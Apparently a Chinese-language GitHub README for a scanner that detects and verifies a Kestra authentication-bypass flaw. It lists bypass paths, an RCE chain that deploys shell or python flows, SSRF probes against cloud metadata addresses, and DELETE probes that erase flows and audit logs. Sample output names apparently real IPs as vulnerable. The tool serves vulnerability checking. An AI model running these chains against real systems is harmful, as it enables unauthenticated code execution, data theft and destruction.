Ap0dexMe0/CVE-2026-49869
GitHub: Ap0dexMe0/CVE-2026-49869
针对 Kestra 平台身份验证过滤器绕过漏洞(CVSS 10.0)的多层级检测与利用验证扫描器。
Stars: 0 | Forks: 0
# Kestra CVE-2026-49869 / CVE-2026-53576 扫描器
扫描 Kestra 实例以检测 `endsWith("/configs")` 身份验证过滤器绕过漏洞。Kestra 的 `AuthenticationFilter.java` 检查的是 `request.getPath().endsWith("/configs")`,而不是精确匹配路径 `/api/v1/configs`。由于 Kestra 通过调用者选择的路径段(namespace、flow ID)来寻址资源,任何以 `/configs` 结尾的路径都会绕过 Basic-Auth,从而允许在未经身份验证的情况下创建 flow 和实现 RCE。(CVSS 10.0)
**参考:**
- [GHSA-5vc5-wxxq-3fjx](https://github.com/kestra-io/kestra/security/advisories/GHSA-5vc5-wxxq-3fjx)
- [TP-2026-009](https://turingpoint.de/en/advisories/tp-2026-009/)
- [CVE-2026-49869](https://www.cve.org/CVERecord?id=CVE-2026-49869) 不当身份验证 / OS 命令注入 / 不完整的禁用输入列表
- [CVE-2026-53576](https://www.cve.org/CVERecord?id=CVE-2026-53576)
## 检测逻辑
1. **存活与版本检查** `GET /api/v1/configs`(必须返回 200;解析响应体以获取 Kestra 版本)
2. **身份验证检查** `GET /api/v1/{tenant}/flows`(如果强制执行了身份验证,应返回 401/403)
3. **绕过探测** 向以 `/configs` 结尾的路径发送 6 个 GET 请求;如果在身份验证检查生效的情况下,任何一个请求返回了非 401/403 的状态码,则该实例存在漏洞
4. **激进模式**(`--aggressive`)还会发送 PUT 请求,以确认是否具备绕过写入的能力
5. **RCE 验证**(`--rce`)完整利用链:创建 shell/python flow → 触发执行 → 获取日志 → 确认代码执行 → 清理痕迹
6. **SSRF 检测**(`--ssrf`)创建一个使用 Pebble 的 `http()` 函数、针对 AWS/GCP/Azure 云元数据和内部 endpoint 的 flow,随后检查日志以获取相关证据
7. **DELETE 探测**(`--destructive`)向 flows、dashboards 和 logs 的绕过路径发送 DELETE 请求,以确认是否绕过了破坏性操作
### 探测 Endpoint
#### 安全探测(默认)
| 探测 | 方法 | 路径 | 描述 |
|---|---|---|---|
| 公开配置 | GET | `/api/v1/configs` | 存活检查 + 版本提取 |
| 受保护常规路径 | GET | `/api/v1/{tenant}/flows` | 身份验证强制执行基线 |
| Flows 绕过 | GET | `/api/v1/{tenant}/flows/{namespace}/configs` | Flow 列表绕过 |
| Executions 绕过 | GET | `/api/v1/{tenant}/executions/{namespace}/configs` | 执行绕过 |
| KV Store 绕过 | GET | `/api/v1/{tenant}/namespaces/{namespace}/kv/configs` | KV 读取绕过 |
| Dashboards 绕过 | GET | `/api/v1/{tenant}/dashboards/configs` | Dashboard 绕过 |
| Logs 绕过 | GET | `/api/v1/{tenant}/logs/{namespace}/configs` | 日志访问绕过 |
| Templates 绕过 | GET | `/api/v1/{tenant}/templates/{namespace}/configs` | 模板读取绕过 |
#### 激进探测(`--aggressive`)
| 探测 | 方法 | 路径 | 描述 |
|---|---|---|---|
| Flows PUT 绕过 | PUT | 同 Flows 绕过 | 创建一个最小的 `debug.Return` flow |
| KV PUT 绕过 | PUT | 同 KV 绕过 | 创建一个 KV 条目 `{"scanned": true}` |
#### 破坏性探测(`--destructive`)
| 探测 | 方法 | 路径 | 描述 |
|---|---|---|---|
| Flows DELETE 绕过 | DELETE | 同 Flows 绕过 | 删除名为 "configs" 的资源 |
| Dashboards DELETE 绕过 | DELETE | 同 Dashboards 绕过 | 删除名为 "configs" 的 dashboard |
| Logs DELETE 绕过 | DELETE | 同 Logs 绕过 | 销毁审计日志 |
#### RCE 验证链(`--rce`)
仅在确认存在身份验证绕过时运行。来自安全公告的完整利用链:
| 步骤 | 方法 | 路径 | 描述 |
|---|---|---|---|
| 1. 创建 RCE flow | PUT | `/api/v1/{tenant}/flows/{namespace}/configs` | 部署带有 `io.kestra.plugin.scripts.shell.Commands`(`echo `, `id`, `hostname`)的 flow。失败时回退至 `io.kestra.plugin.scripts.python.Script`。 |
| 2. 触发执行 | POST | `/api/v1/{tenant}/executions/{namespace}/configs` | 通过绕过路径启动该 flow |
| 3. 轮询日志 | GET | `/api/v1/{tenant}/logs/search?executionId=` | 每 `--poll-interval` 秒(默认为 3)轮询一次,最多轮询 `--poll-retries` 次(默认为 10),以查找唯一的 RCE 标识符 |
| 4. 清理 | DELETE | 同步骤 1 | 移除已部署的 flow |
#### SSRF 检测链(`--ssrf`)
仅在确认存在身份验证绕过时运行:
| 步骤 | 方法 | 路径 | 描述 |
|---|---|---|---|
| 1. 创建 SSRF flow | PUT | `/api/v1/{tenant}/flows/{namespace}/configs` | 部署一个带有 Pebble `http()` 调用的 `debug.Return` 任务,目标包括 AWS(`169.254.169.254/latest/meta-data/ami-id`)、GCP(`metadata.google.internal`)、Azure(`169.254.169.254/metadata/instance`)及内部地址(`127.0.0.1:8080/api/v1/configs`) |
| 2. 触发执行 | POST | 同 RCE 步骤 2 | 触发该 flow |
| 3. 轮询日志 | GET | `/api/v1/{tenant}/logs/search?executionId=` | 检查是否存在云元数据特征(`ami-`, `i-`, `169.254.169.254`, `metadata.google.internal` 等) |
| 4. 清理 | DELETE | 同步骤 1 | 移除已部署的 flow |
### CLI 参考
```
positional:
target Single target URL (e.g. http://localhost:8080)
options:
-f, --file File with targets (one per line)
-t, --timeout Request timeout in seconds (default: 10)
--verify-ssl Verify TLS certificates
-j, --json Output JSON to stdout
-o, --output Write JSON report to file
--tenant Tenant name (default: "main")
--namespace Namespace for bypass paths (default: "tutorial")
-w, --workers Thread count for bulk scans (default: 10)
-a, --aggressive Send PUT requests to confirm write bypass
-P, --auto-ports Ports for auto-expand (default: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce Enable RCE verification chain (shell + python flow,
execution trigger, log retrieval, auto-cleanup)
-s, --ssrf Enable SSRF detection (Pebble http() to cloud metadata
endpoints, log-based evidence collection)
-d, --destructive Enable DELETE probes on flows, dashboards, and logs
(WILL delete resources on vulnerable instances)
--poll-interval Seconds between log polls for RCE/SSRF chains (default: 3)
--poll-retries Max log poll attempts for RCE/SSRF chains (default: 10)
```
## 输出
### 单个目标
包含详细信息(版本、RCE、SSRF、DELETE 状态)和判定结果的单次探测详细分解:
```
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
```
### 批量总结
带有 RCE/SSRF/DEL 标志列的排序柱状表:
```
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
```
退出代码:`0` = 无漏洞,`1` = 发现漏洞,`2` = 全部无法判定。
### JSON 报告
使用 `-j` 或 `-o` 时,输出将包含每个目标的详细补充信息:
```
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
```
## 版本检测
扫描器会自动从 `GET /api/v1/configs` 响应中提取 Kestra 版本并进行分类:
| 版本 | 分类 |
|---|---|
| `<= 1.0.44` | **受影响**(1.0 分支,补丁前) |
| `>= 1.0.45` | 已修复(1.0 分支) |
| `1.3.0 1.3.20` | **受影响**(1.3 分支,补丁前) |
| `>= 1.3.21` | 已修复(1.3 分支) |
| `>= 1.4.0` | 已修复(高于受影响范围) |
| 未知 | 在响应中未找到版本 |
此处采用了基于分支感知的比较方式,因为 Kestra 维护着独立的补丁分支(1.0.x 和 1.3.x)。
### v1.0.0
- 初始版本,包含安全的 GET 探测、激进的 PUT 探测、批量扫描以及 JSON 输出
## 安装说明
需要 Python 3.10+。
```
pip install -r requirements.txt
python main.py --help
```
## 免责声明
仅供**授权的防御性测试**使用。`--rce` 和 `--destructive` 标志会在目标系统上创建并执行真实资源。在扫描您不拥有的系统之前,请务必获得适当的书面授权。
标签:CISA项目, Kestra, Maven, StruQ, 加密, 文档结构分析, 无服务器架构, 漏洞扫描器, 漏洞验证, 身份认证绕过